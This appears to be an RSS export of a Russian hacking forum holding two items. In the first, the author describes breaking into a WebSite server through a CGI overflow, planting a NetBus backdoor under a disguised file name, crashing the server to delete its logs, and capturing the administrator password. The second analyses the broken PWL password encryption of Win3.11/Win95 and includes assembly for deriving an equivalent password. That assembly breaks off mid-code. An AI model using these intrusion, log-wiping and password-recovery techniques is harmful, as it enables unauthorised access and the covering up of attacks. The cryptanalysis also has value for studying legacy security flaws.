						&lt;p&gt;@ECHO OFF&amp;amp;&amp;amp;TITLE WebSite CGI africa.bat^&amp;gt;^&amp;gt;^&amp;gt;^^&amp;gt;^&amp;gt;^&amp;gt;^^&amp;gt;^&amp;gt;^&amp;gt;^^&amp;gt;^&amp;gt;^&amp;gt;^....^&amp;gt;^&amp;gt;^&amp;gt;^^&amp;gt;^&amp;gt;^&amp;gt;^^&amp;gt;^&amp;gt;^&amp;gt;^ D:\WebSite\cgi-temp\xxxxx.inp &amp;gt; D:\WebSite\cgi-temp\xxxx.out &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Классное переполнение буфера получилось!!!!! Затем я после africa.bat поставил символы перевода строки 0dh,0ah (%0d%0a) и africa.bat поменял на regedit.exe, запустил NetCat, и что бы вы думали, у меня получилось? :) Угу, запустился regedit!!!! &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Я еще немного потренировался, и выяснилось, что она не хочет, или не желает пускать програмки с длинными именами и с длинными путями к ним. Хорошо, что Website, где я его встречал, стоит прямо в корне, и доступ к каталогу /uploads/ получаем без проблем. И еще хорошо, что я начал с символа &amp;quot;&amp;gt;&amp;quot;, если подставлять другие нормальные символы типа буковок или циферок, то WebSite на это никак не реагирует, просто не принимает их, если их довольно большое количество, и выдает ошибку, если они все поместились в буфер. &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Ну, вот так я запустил на другой машинке NetBus, и дальше уже дело техники (почти). &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Выкачиваем все нужное с Хакнутой машины. &lt;br /&gt;Закачиваем в каталог /cgi-shl/ с помощью NetBus&#039;а еще одну копию серверной части этого самого NetBus&#039;a под каким-нибудь дурацким именем. Я, например, закачиваю под именем win-c-example.exe т.к. он в этом каталоге уже есть, только соответственно старый файл нужно убить. &lt;br /&gt;Убиваем логи сервера access.log, error.log, upload.log. Вы думаете их просто убить? =) Фиг там, WebSite держит их открытыми, тут-то нам и пригодится умение ронять WebSite обнаруженный в начале нашего исследования. т.е. роняем WebSite, и только затем удаляем все логи. &lt;br /&gt;Нехорошо, если после нас в каталоге /uploads/ останется бяка в виде серверной части NetBus&#039;a, ее нужно убить, но увы, она держится системой открытой поэтому мы просто перезагружаем всю машинку с WebSite&#039;ом, перед этим сказав NetBus&#039;у &amp;quot;Remove Server&amp;quot;. Вот эта часть плана у меня не очень чисто проходила, в NetBuse я использовал и Reboot и Shutdown, и все равно удаленный сервер сам по себе не поднимался, не знаю почему, а пробовать на своей машине было влом. Тем не менее когда-нибудь ту машинку поднимали, считая что Винда это Сакс, и он сам может из-за пылинки вылететь в даун. Когда сервер снова поднялся, быстренько из /cgi-shl/ запускаем снова Netbus и чистим /uploads/ (Позже я выяснил, что NetBus копирует себя в системный каталог операционнки, и оттуда загружается в следующий раз, поэтому описанные действия немного неточны, и необходимо просто перезагрузить сервер) &lt;/p&gt;
						&lt;p&gt;Фу! Ну вот и все, дальше все ясненько, можно ломать дальше, отслеживая пароль Administrator&#039;a т.к. обычно на тех тачках, где весит WebSite, находится и PDC (Primary Domain Controler). Можно, балуясь NetBus&#039;ом, создать ситуацию, когда Administrator будет вынужден подойти к своему детищу и набрать заветное слово, которое нам и покажет Netbus :) Короче, все остальное лирика. &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Был произведен &amp;quot;дружественный взлом&amp;quot; двух серверов, выкачана с них нужная информация, ну и затем сообщено о существующей дырке. В WebSite v2.xxx эта дыра закрыта, так как отсутствует каталог /cgi-dos, но присутствуют другие файлы типа guestbook, которая позволяет писать тэги, плюс присутствуют сырцы этих файлов, что меня очень радует и дает возможность заниматься таким интересным делом! :) &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Никаких заключительных слов говорить не буду, читайте статью DiGGertaL SpOOn&#039;а, там как раз есть то, что можно делать после взлома и заключительные слова. &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;&amp;quot;Все это мое последнее слово&amp;quot; Дельфин&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 21:46:02 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=20#p20</guid>
		</item>
		<item>
			<title>Система шифрования Win3.11/Win95 глазами паталогоанатома</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=19#p19</link>
			<description>&lt;p&gt;Сразу оговариваюсь, что все, что&amp;#160; ниже&amp;#160; будет&amp;#160; сказано,&amp;#160; имеет&amp;#160; отношение&lt;br /&gt;только к Win3.11 и Win95, причем Win95 без установленного Service Pack 1.&lt;br /&gt;У&amp;#160; OSR2&amp;#160; и Win98, а также у Win95 с установленным Service Pack 1, другая,&lt;br /&gt;хотя и похожая система шифрования, которая не&amp;#160; имеет&amp;#160; такого&amp;#160; изобилия&amp;#160; и&lt;br /&gt;разнообразия&amp;#160; дыр&amp;#160; и поэтому менее интересна для обсуждения. Отличить обе&lt;br /&gt;системы друг от друга можно по магическим числам в начале PWL-файла :&lt;/p&gt;
						&lt;p&gt;Win3.11&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; \&lt;br /&gt;Win95 без Service Pack 1 /&amp;#160; B0 46 4D 4E (видны буквы &amp;quot;MFN&amp;quot;)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;Win95 с Service Pack 1 \&lt;br /&gt;OSR2&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;gt;&amp;#160; E3 82 85 96 (в альтернативной кодировке&lt;br /&gt;Win98&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; /&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;выглядит как &amp;quot;yВЕЦ&amp;quot;)&lt;/p&gt;
						&lt;p&gt;Все, что далее будет сказано имеет отношение только к PWL-файлам, имеющим&lt;br /&gt;сигнатуру &amp;quot;MFN&amp;quot;.&lt;/p&gt;
						&lt;p&gt;Для&amp;#160; начала,&amp;#160; бросим&amp;#160; беглый&amp;#160; взгляд&amp;#160; внутрь&amp;#160; PWL-файла,&amp;#160; чтобы&amp;#160; &amp;#160;получше&lt;br /&gt;ориентироваться в этой эклектической конструкции.&lt;/p&gt;
						&lt;p&gt;Формат PWL-файла&lt;br /&gt;Содержимое&amp;#160; PWL-файла&amp;#160; производит&amp;#160; весьма&amp;#160; мутное&amp;#160; впечатление.&amp;#160; &amp;#160;Строгая&lt;br /&gt;документация&amp;#160; от&amp;#160; MicroSoft&amp;#160; по этому вопросу отсутствует due to security&lt;br /&gt;(саркастический&amp;#160; смешок)&amp;#160; reason,&amp;#160; а&amp;#160; сам&amp;#160; я&amp;#160; разбирался&amp;#160; лишь&amp;#160; &amp;#160;в&amp;#160; &amp;#160;меру&lt;br /&gt;необходимости.&amp;#160; &amp;#160;Поэтому&amp;#160; &amp;#160;правильнее&amp;#160; &amp;#160;озаглавить&amp;#160; &amp;#160;-&amp;#160; примерный&amp;#160; формат&lt;br /&gt;PWL-файла, в предположении, что в нем&amp;#160; не более&amp;#160; 16-и&amp;#160; ресурсов&amp;#160; (похоже,&lt;br /&gt;что&amp;#160; &amp;#160;PWL-файл&amp;#160; может&amp;#160; содержать&amp;#160; только&amp;#160; кратное&amp;#160; 16-и&amp;#160; число&amp;#160; ресурсов,&lt;br /&gt;используемых и неиспользуемых, но мне&amp;#160; ни&amp;#160; разу&amp;#160; не&amp;#160; попадался&amp;#160; экземпляр&lt;br /&gt;более чем с 16-ю ресурсами).&lt;/p&gt;
						&lt;p&gt;0000:&amp;#160; 4 байта - магическое число или сигнатура. Просто безполезное число.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;В&amp;#160; разных&amp;#160; форматах&amp;#160; PWL-файлов&amp;#160; оно&amp;#160; разное.&amp;#160; Чем&amp;#160; и&amp;#160; помогает их&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;различать :&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;B0 46 4D 4E - Win3.11/Win95&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;E3 82 85 96 - OSR2/Win98&lt;br /&gt;0004:&amp;#160; Дв. слово - очень странный счетчик. Что-то явно считает, но что ?&lt;br /&gt;0008:&amp;#160; Таблица из&amp;#160; 256-и&amp;#160; байт.&amp;#160; Гордо называется&amp;#160; Resource&amp;#160; Link&amp;#160; Index.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;Странная таблица. Ясно, что нулевой байт означает неиспользованный&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;элемент. Но какая польза с ненулевого байта - не совсем ясно. Если&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;в&amp;#160; этой таблице встречается ненулевой байт N, то это означает, что&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;в следующей таблице используется (не равен FF) элемент по смещению&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;108h+N. Но всю полезную информацию можно сразу извлечь&amp;#160; из&amp;#160; второй&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;таблицы, не обращаясь к первой.&lt;br /&gt;0108:&amp;#160; Безхозный нулевой байт. Никому не мешает.&lt;br /&gt;0109:&amp;#160; Таблица&amp;#160; Resource&amp;#160; Key&amp;#160; Entry из 255-и байт. Теперь неиспользуемый&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;элемент обозначается&amp;#160; уже&amp;#160; байтом&amp;#160; FF.&amp;#160; Вероятно&amp;#160; между&amp;#160; созданием&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;первой&amp;#160; и второй таблиц программистом был пропущен стаканчик. Если&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;в этой таблице&amp;#160; находится&amp;#160; M&amp;#160; байтов&amp;#160; N,&amp;#160; не&amp;#160; равных&amp;#160; FF,&amp;#160; то&amp;#160; это&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;означает,&amp;#160; что&amp;#160; в&amp;#160; ресурсе номер N содержится M парольных записей.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;Обшее число не&amp;#160; равных&amp;#160; FF&amp;#160; байт&amp;#160; в&amp;#160; таблице&amp;#160; равно&amp;#160; общему&amp;#160; числу&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;парольных&amp;#160; записей.&amp;#160; Отсюда&amp;#160; ясно,&amp;#160; что&amp;#160; в PWL-файле не может быть&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;более&amp;#160; 255-и&amp;#160; парольных&amp;#160; записей&amp;#160; и&amp;#160; более&amp;#160; 255-и&amp;#160; &amp;#160;ресурсов,&amp;#160; &amp;#160;их&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;содержащих.&lt;br /&gt;0208:&amp;#160; 20&amp;#160; байт - имя пользователя в верхнем регистре, дополненное справа&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;нулевыми&amp;#160; байтами&amp;#160; (русские&amp;#160; буквы&amp;#160; в&amp;#160; Альтернативной&amp;#160; кодировке).&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;Данное поле служит для странного алгоритма определения подлинности&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;пароля.&amp;#160; Имя&amp;#160; пользователя&amp;#160; можно посмотреть в файле system.ini, в&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;свойстве Password Lists и, если оно не длиннее восьми символов, то&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;оно будет совпадать с именем PWL-файла.&lt;br /&gt;021C:&amp;#160; 17 слов - таблица указателей на начала ресурсов.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;21C:Смещение в файле начала ресурса 0, относительно начала файла&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;21E:Смещение в файле начала ресурса 1, относительно начала файла&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;220:Смещение в файле начала ресурса 2, относительно начала файла&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;...&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;23A:Смещение в файле начала ресурса F, относительно начала файла&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;23C:Смещение первого байта за концом файла (равно длине файла).&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;Обе записи 208h-21Bh и 21Ch-23Dh&amp;#160; образуют&amp;#160; единое&amp;#160; поле,&amp;#160; которое&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;зашифровано гаммой, накладываемой начиная со смещения 208h.&lt;br /&gt;023E:&amp;#160; Ресурс 0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;Ресурс 1&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;Ресурс 2&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;...&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;Ресурс F&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;В&amp;#160; одном ресурсе может быть несколько парольных записей, следующих&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;одна за другой. Первое&amp;#160; слово&amp;#160; каждой&amp;#160; записи&amp;#160; представляет&amp;#160; собой&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;длину записи, включая и это слово. Признаком конца цепочки записей&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;является&amp;#160; нулевое&amp;#160; слово. Таким образом пустой ресурс - это просто&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;нулевое слово. Тогда ясно, что если PWL-файл имеет длину 606 байт,&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;то все ресурсы в нем пустые, т.к. 23Eh + 16*2 = 25Eh = 606. Каждый&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;ресурс зашифрован гаммой, которая&amp;#160; накладывается,&amp;#160; начиная&amp;#160; с&amp;#160; его&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;начала.&lt;/p&gt;
						&lt;p&gt;PWL-файл&amp;#160; шифруется&amp;#160; простым гаммированием, гамма генерируется алгоритмом&lt;br /&gt;RC4.&amp;#160; При&amp;#160; первой&amp;#160; регистрации&amp;#160; пользователя&amp;#160; запрашивается&amp;#160; пароль.&amp;#160; &amp;#160;Он&lt;br /&gt;приводится к верхнему регистру и сворачивается в ключ (двойное слово). Из&lt;br /&gt;этого ключа порождается гамма (псевдослучайная последовательность нулей и&lt;br /&gt;единиц).&amp;#160; Эта&amp;#160; гамма&amp;#160; сложением&amp;#160; по модулю два накладывается на каждый из&lt;br /&gt;ресурсов&amp;#160; с&amp;#160; его&amp;#160; начала&amp;#160; и&amp;#160; &amp;#160;зашифровывает&amp;#160; &amp;#160;их.&amp;#160; &amp;#160;Аналогично&amp;#160; &amp;#160;ресурсам&lt;br /&gt;зашифровывается&amp;#160; поле&amp;#160; 208h-23Dh, где хранится имя пользователя и таблица&lt;br /&gt;указателей на начала ресурсов.&lt;/p&gt;
						&lt;p&gt;При&amp;#160; последующих&amp;#160; регистрациях данным пользователем запрашивается пароль.&lt;br /&gt;Он приводится к верхнему регистру, опять сворачивается в ключ из которого&lt;br /&gt;опять порождается&amp;#160; гамма.&amp;#160; Если&amp;#160; этой&amp;#160; гаммой&amp;#160; имя&amp;#160; пользователя&amp;#160; в&amp;#160; поле&lt;br /&gt;208h-21Bh&amp;#160; расшифровывается&amp;#160; правильно,&amp;#160; то&amp;#160; пароль&amp;#160; считается&amp;#160; введенным&lt;br /&gt;правильно. После&amp;#160; чего&amp;#160; расшифровываются&amp;#160; таблица&amp;#160; указателей&amp;#160; на&amp;#160; начала&lt;br /&gt;ресурсов&amp;#160; и&amp;#160; сами&amp;#160; ресурсы&amp;#160; PWL-файла. Расшифровка производится вторичным&lt;br /&gt;наложением&amp;#160; гаммы&amp;#160; сложением&amp;#160; по&amp;#160; модулю&amp;#160; два&amp;#160; (используется&amp;#160; обратимость&lt;br /&gt;сложения по модулю два, то есть тот факт, что (X XOR Y) XOR Y = X ). Если&lt;br /&gt;имя&amp;#160; пользователя&amp;#160; не&amp;#160; расшифровывается&amp;#160; правильно,&amp;#160; то&amp;#160; пароль считается&lt;br /&gt;неправильным.&amp;#160; Таким&amp;#160; образом&amp;#160; проверка&amp;#160; правильности&amp;#160; введенного&amp;#160; пароля&lt;br /&gt;производится&amp;#160; по&amp;#160; совпадению первых 20-и байт порожденной из него гаммы с&lt;br /&gt;первыми 20-ю байтами гаммы от правильного пароля.&lt;/p&gt;
						&lt;p&gt;Этот&amp;#160; &amp;#160; алгоритм&amp;#160; &amp;#160;определения&amp;#160; &amp;#160;подлинности&amp;#160; &amp;#160;пароля&amp;#160; &amp;#160;является&amp;#160; &amp;#160;весьма&lt;br /&gt;оригинальным, т.к. при этом нигде не сохраняется ни зашифрованный пароль,&lt;br /&gt;ни хеш-функция (необратимое преобразование) пароля. Но, в то-же время, на&lt;br /&gt;удивление, нелепо реализованным. Ведь поскольку имя пользователя известно&lt;br /&gt;ЗАРАНЕЕ, то первые 20 байт гаммы тривиально вычисляются. Но,&amp;#160; т.к.&amp;#160; ТА-ЖЕ&lt;br /&gt;гамма&amp;#160; &amp;#160;накладывается&amp;#160; на&amp;#160; каждый&amp;#160; ресурс&amp;#160; (отсутствие&amp;#160; смены&amp;#160; гаммы&amp;#160; при&lt;br /&gt;шифровании разных полей - это основная ошибка применения алгоритма RC4&amp;#160; в&lt;br /&gt;данном&amp;#160; случае), то можно расшифровать и первые 20 байт каждого ресурса !&lt;br /&gt;PWL-файл имеет избыточную информацию - есть указатели на начала ресурсов,&lt;br /&gt;но есть и длины записей в ресурсах и из одного&amp;#160; можно&amp;#160; вычислять&amp;#160; другое.&lt;br /&gt;Если в ресурсах не более одной записи, то длина ресурса есть первое слово&lt;br /&gt;ресурса плюс два (длина первой записи ресурса плюс длина нулевого слова).&lt;br /&gt;Определяя&amp;#160; &amp;#160;по&amp;#160; &amp;#160;началу&amp;#160; &amp;#160;и&amp;#160; длине&amp;#160; данного&amp;#160; ресурса&amp;#160; начало&amp;#160; следующего,&lt;br /&gt;рассчитывается&amp;#160; &amp;#160;вся&amp;#160; &amp;#160;таблица&amp;#160; указателей&amp;#160; на&amp;#160; начала&amp;#160; ресурсов&amp;#160; в&amp;#160; поле&lt;br /&gt;21Ch-23Dh. В результате еще 2*17 = 34 байта&amp;#160; добавляются&amp;#160; к&amp;#160; рассчитанной&lt;br /&gt;гамме.&amp;#160; Если&amp;#160; в ресурсах более одной записи, то начало следующего ресурса&lt;br /&gt;все равно можно найти с&amp;#160; некоторой&amp;#160; долей&amp;#160; вероятности&amp;#160; (после&amp;#160; наложения&lt;br /&gt;гаммы второй байт ресурса будет равен второму&amp;#160; байту&amp;#160; гаммы,&amp;#160; т.к.&amp;#160; длина&lt;br /&gt;записей&amp;#160; в&amp;#160; ресурсе&amp;#160; редко&amp;#160; превышает 255, а 0 XOR X = X ). Этот алгоритм&lt;br /&gt;реализован в известной программе Glide, которая&amp;#160; рассчитывает&amp;#160; 54&amp;#160; первых&lt;br /&gt;байта гаммы и расшифровывает по 54 первых байта каждого&amp;#160; ресурса.&amp;#160; Причем&lt;br /&gt;немедленно и без какого либо перебора&amp;#160; вариантов,&amp;#160; что&amp;#160; сводит&amp;#160; прочность&lt;br /&gt;системы&amp;#160; шифрования&amp;#160; Win95&amp;#160; к&amp;#160; НУЛЮ&amp;#160; (под&amp;#160; прочностью&amp;#160; системы шифрования&lt;br /&gt;понимается количество вариантов,&amp;#160; которые&amp;#160; необходимо&amp;#160; перебрать&amp;#160; для&amp;#160; ее&lt;br /&gt;гарантированного&amp;#160; вскрытия). Между тем, достаточно было накладывать гамму&lt;br /&gt;на ресурсы, не используя первых засвеченных ее байт, чтобы такой огромной&lt;br /&gt;прорехи не было.&lt;/p&gt;
						&lt;p&gt;Алгоритм генерации ключа по паролю (c) Microsoft&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Имеем Key - двойное слово и пароль до 20-и символов.&lt;br /&gt;&amp;#160; &amp;#160;1) Обнулить Key.&lt;br /&gt;&amp;#160; &amp;#160;2) Привести&amp;#160; пароль&amp;#160; к&amp;#160; верхнему регистру&amp;#160; (русские буквы приводятся к&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; верхнему регистру в Альтернативной кодировке).&lt;br /&gt;&amp;#160; &amp;#160;3) Для каждого символа пароля, начиная с первого :&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; а) прибавить код символа к Key&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; б) повернуть Key влево 7 раз.&lt;br /&gt;&amp;#160; &amp;#160;4) На прощание еще раз вращать Key влево 7 раз.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; (программистам&amp;#160; на Си этот шаг можно не делать, считая, что нулевой&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;байт, завершающий строку с паролем, тоже является его&amp;#160; символом&amp;#160; и&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;повторить цикл 3 на один раз больше)&lt;br /&gt;&amp;#160; &amp;#160;Ключ&amp;#160; используется&amp;#160; для инициализации генератора псевдослучайных чисел&lt;br /&gt;&amp;#160; &amp;#160;(алгоритма RC4). Для каждого ключа RC4&amp;#160; порождает&amp;#160; уникальную&amp;#160; битовую&lt;br /&gt;&amp;#160; &amp;#160;последовательность (гамму).&lt;/p&gt;
						&lt;p&gt;Алгоритм&amp;#160; сопоставления&amp;#160; ключа&amp;#160; паролю&amp;#160; слаб тем, что при выбранной длине&lt;br /&gt;ключа в двойное слово,&amp;#160; множество&amp;#160; различных&amp;#160; ключей&amp;#160; (2^32)&amp;#160; оказывается&lt;br /&gt;неизмеримо&amp;#160; &amp;#160;меньше&amp;#160; &amp;#160;множества&amp;#160; различных&amp;#160; паролей.&amp;#160; Это&amp;#160; означает,&amp;#160; что&lt;br /&gt;существуют пароли, которые Win95 не&amp;#160; отличает&amp;#160; друг&amp;#160; от&amp;#160; друга.&amp;#160; Например&lt;br /&gt;пароли&amp;#160; &amp;quot;ARJEW&amp;quot;&amp;#160; и&amp;#160; &amp;quot;QRJEV&amp;quot;&amp;#160; свернутся&amp;#160; в&amp;#160; один&amp;#160; и тот-же ключ A8B6:C694,&lt;br /&gt;породят одну и ту-же гамму и поэтому для Win95 полностью эквивалентны ! В&lt;br /&gt;пароле могут использоваться 100 различных символов (26 латинских&amp;#160; букв&amp;#160; +&lt;br /&gt;10 цифр + 32 спецсимвола + 32 русские буквы). Отсюда&lt;br /&gt;1+100+100^2+100^3+100^4+...+100^14 ~ 100^14 = 10^28 - множество различных&lt;br /&gt;паролей от пустого до 14-символьных.&lt;br /&gt;2^32 = 4*((2^10)^3) ~ 4*((10^3)^3) = 4*10^9 - множество различных ключей.&lt;br /&gt;(здесь&amp;#160; везде ~ - примерно равно).&lt;br /&gt;Т.е.&amp;#160; множество&amp;#160; возможных&amp;#160; ключей&amp;#160; на&amp;#160; много&amp;#160; порядков&amp;#160; меньше множества&lt;br /&gt;возможных паролей. Это делает&amp;#160; совершенно&amp;#160; бессмысленными&amp;#160; допускаемые&amp;#160; в&lt;br /&gt;Win95&amp;#160; длинные&amp;#160; пароли.&amp;#160; Поскольку&amp;#160; 2^32&amp;#160; &amp;lt;&amp;#160; 100^5 , то эффективная длина&lt;br /&gt;пароля соответствует только ПЯТИ символам ! Это,&amp;#160; правда,&amp;#160; совершенно&amp;#160; не&lt;br /&gt;означает, что для каждого пароля найдется пятисимвольный эквивалент, т.к.&lt;br /&gt;множество&amp;#160; паролей при таком алгоритме очень неравномерно отображается на&lt;br /&gt;множество&amp;#160; ключей.&amp;#160; Но мне удалось построить алгоритм, который для любого&lt;br /&gt;значения ключа немедленно, то есть&amp;#160; без&amp;#160; перебора,&amp;#160; вычисляет&amp;#160; подходящий&lt;br /&gt;девятисимвольный&amp;#160; &amp;#160; пароль&amp;#160; &amp;#160; из&amp;#160; &amp;#160; следующего&amp;#160; &amp;#160;множества&amp;#160; &amp;#160;символов&amp;#160; &amp;#160;-&lt;br /&gt;&amp;quot;@ABCDEFGJKNOPQRSTUVWX&amp;quot;. Так что доказано,&amp;#160; что&amp;#160; ЛЮБОМУ&amp;#160; паролю&amp;#160; в&amp;#160; Win95&lt;br /&gt;найдется&amp;#160; эквивалент&amp;#160; не длиннее ДЕВЯТИ символов ! Поэтому задавать более&lt;br /&gt;длинные пароли совершенно бессмысленно !&lt;/p&gt;
						&lt;p&gt;Пустому паролю соответствует нулевое значение ключа. Возникает интересная&lt;br /&gt;задача:&amp;#160; существует-ли&amp;#160; пароль,&amp;#160; который&amp;#160; бы Win95 не отличала от пустого&lt;br /&gt;пароля&amp;#160; ?&amp;#160; Удивительно,&amp;#160; но&amp;#160; существует&amp;#160; !!!&amp;#160; &amp;#160;Мне&amp;#160; &amp;#160;удалось&amp;#160; &amp;#160;найти&amp;#160; &amp;#160;16&lt;br /&gt;девятисимвольных таких паролей, состоящих из одних латинских букв. Из них&lt;br /&gt;наиболее&amp;#160; симпатичный &amp;quot;FFFFKKKKL&amp;quot;. Также нашел 8 восьмисимвольных с одним&lt;br /&gt;специальным сиволом &amp;quot;{&amp;quot; - например &amp;quot;FFFO{KKL&amp;quot; или&amp;#160; &amp;quot;GGGO{CCD&amp;quot;&amp;#160; и&amp;#160; поэтому&lt;br /&gt;менее красивых. Более короткие такие пароли невозможны.&lt;/p&gt;
						&lt;p&gt;Алгоритм синтеза пароля по ключу (c) Иванов А.Р.&lt;br /&gt;PRINT_PASSWORD&amp;#160; PROC&amp;#160; &amp;#160; NEAR&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ;На входе DX:AX - ключ&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ;Печатает девятисимвольный пароль на станд. выход&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ;Пароль состоит из символов @ABCDEFGJKNOPQRSTUVWX&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ;Портит AX BX CX DX SI&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; PUSH&amp;#160; &amp;#160; DS&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; PUSH&amp;#160; &amp;#160; CS&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; POP&amp;#160; &amp;#160; &amp;#160;DS&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; MOV&amp;#160; &amp;#160; &amp;#160;Masks[8],0010111B&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; MOV&amp;#160; &amp;#160; &amp;#160;CX,32-14&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; CALL&amp;#160; &amp;#160; ROL_DW&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; MOV&amp;#160; &amp;#160; &amp;#160;BX,0000000001010100B&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; TEST&amp;#160; &amp;#160; DX,DX&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; JNZ&amp;#160; &amp;#160; &amp;#160;@@2&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; CMP&amp;#160; &amp;#160; &amp;#160;AX,BX&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; JNE&amp;#160; &amp;#160; &amp;#160;@@1&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;;Jcc не меняют флагов&lt;br 